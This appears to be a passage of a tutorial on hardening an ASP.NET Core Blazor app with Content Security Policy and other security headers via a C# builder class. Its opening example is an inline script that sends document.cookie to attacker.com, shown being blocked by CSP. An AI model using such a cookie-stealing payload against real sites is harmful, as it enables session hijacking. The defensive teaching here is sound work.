Content-Security-Policy: default-src 'self'

<script>location.href="http://attacker.com/Cookies/?c="+encodeURIComponent(document.cookie);</script>

Refused to execute inline script because it violates the following Content Security Policy directive:
"script-src 'self' 'unsafe-eval'". Either the 'unsafe-inline' keyword,
a hash ('sha256-Rx2R8WNQO+B6FPfeIU/11a0BScUM6Cq7HdThUsPpjOU='),
or a nonce ('nonce-...') is required to enable inline execution.

Content-Security-Policy: default-src 'self'; script-src 'sha256-Rx2R8WNQO+B6FPfeIU/11a0BScUM6Cq7HdThUsPpjOU='

<ItemGroup>
   <PackageReference Include="NetEscapades.AspNetCore.SecurityHeaders" Version="0.20.0" />
</ItemGroup>

public static class SecurityHeadersBuilder
{
    public static HeaderPolicyCollection GetCsp(bool isDevelopment)
    {
        var policy = new HeaderPolicyCollection()
                     .AddFrameOptionsDeny()
                     .AddXssProtectionBlock()
                     .AddContentTypeOptionsNoSniff()
                     .AddReferrerPolicyStrictOriginWhenCrossOrigin()
                     .AddCrossOriginOpenerPolicy(builder => builder.SameOrigin())
                     .AddCrossOriginResourcePolicy(builder => builder.SameOrigin())
                     .AddCrossOriginEmbedderPolicy(builder => builder.RequireCorp())
                     .AddContentSecurityPolicy(builder =>
                                               {
                                                   builder.AddBaseUri().Self();
                                                   builder.AddDefaultSrc().Self().From("blob:");
                                                   builder.AddObjectSrc().Self().From("blob:");
                                                   builder.AddBlockAllMixedContent();
                                                   builder.AddImgSrc().Self().From("data:").From("blob:").From("https:");
                                                   builder.AddFontSrc().Self();
                                                   builder.AddStyleSrc().Self();
                                                   builder.AddFrameAncestors().None();
                                                   builder.AddConnectSrc().Self();
                                                   builder.AddMediaSrc().Self();

                                                   builder.AddScriptSrc().Self()
                                                          // Specify any additional hashes to permit your required `non-framework` scripts to load.
                                                          .WithHash256("Rx2R8WNQO+B6FPfeIU/11a0BScUM6Cq7HdThUsPpjOU=")
                                                          // Specify unsafe-eval to permit the `Blazor WebAssembly Mono runtime` to function.
                                                          .UnsafeEval();

                                                   //TODO: Add api/CspReport/Log action method ...
                                                   // https://www.dntips.ir/post/2706
                                                   builder.AddReportUri().To("/api/CspReport/Log");

                                                   builder.AddUpgradeInsecureRequests();
                                               })
                     .RemoveServerHeader()
                     .AddPermissionsPolicy(builder =>
                                           {
                                               builder.AddAccelerometer().None();
                                               builder.AddAutoplay().None();
                                               builder.AddCamera().None();
                                               builder.AddEncryptedMedia().None();
                                               builder.AddFullscreen().All();
                                               builder.AddGeolocation().None();
                                               builder.AddGyroscope().None();
                                               builder.AddMagnetometer().None();
                                               builder.AddMicrophone().None();
                                               builder.AddMidi().None();
                                               builder.AddPayment().None();
                                               builder.AddPictureInPicture().None();
                                               builder.AddSyncXHR().None();
                                               builder.AddUsb().None();
                                           });

        if (!isDevelopment)
        {
            // maxAge = one year in seconds
            policy.AddStrictTransportSecurityMaxAgeIncludeSubDomains();
        }

        policy.ApplyDocumentHeadersToAllResponses();
        return policy;
    }
}

var app = builder.Build();

// ...

var headerPolicyCollection = SecurityHeadersBuilder.GetCsp(app.Environment.IsDevelopment());
app.UseSecurityHeaders(headerPolicyCollection);

app.UseHttpsRedirection();

// ...

Content-Security-Policy:base-uri 'self'; default-src 'self' blob:; object-src 'self' blob:; block-all-mixed-content; img-src 'self' data: blob: https:; font-src 'self'; style-src 'self'; frame-ancestors 'none'; connect-src 'self'; media-src 'self'; script-src 'self' 'sha256-Rx2R8WNQO+B6FPfeIU/11a0BScUM6Cq7HdThUsPpjOU=' 'unsafe-eval'; report-uri /api/CspReport/Log; upgrade-insecure-requests
Cross-Origin-Embedder-Policy:require-corp
Cross-Origin-Opener-Policy:same-origin
Cross-Origin-Resource-Policy:same-origin
Permissions-Policy:accelerometer=(), autoplay=(), camera=(), encrypted-media=(), fullscreen=*, geolocation=(), gyroscope=(), magnetometer=(), microphone=(), midi=(), payment=(), picture-in-picture=(), sync-xhr=(), usb=()
Referrer-Policy:strict-origin-when-cross-origin
X-Content-Type-Options:nosniff
X-Frame-Options:DENY
X-Xss-Protection:1; mode=block

• http://www.bing.com
• http://www.msnbc.msn.com
• http://stackoverflow.com

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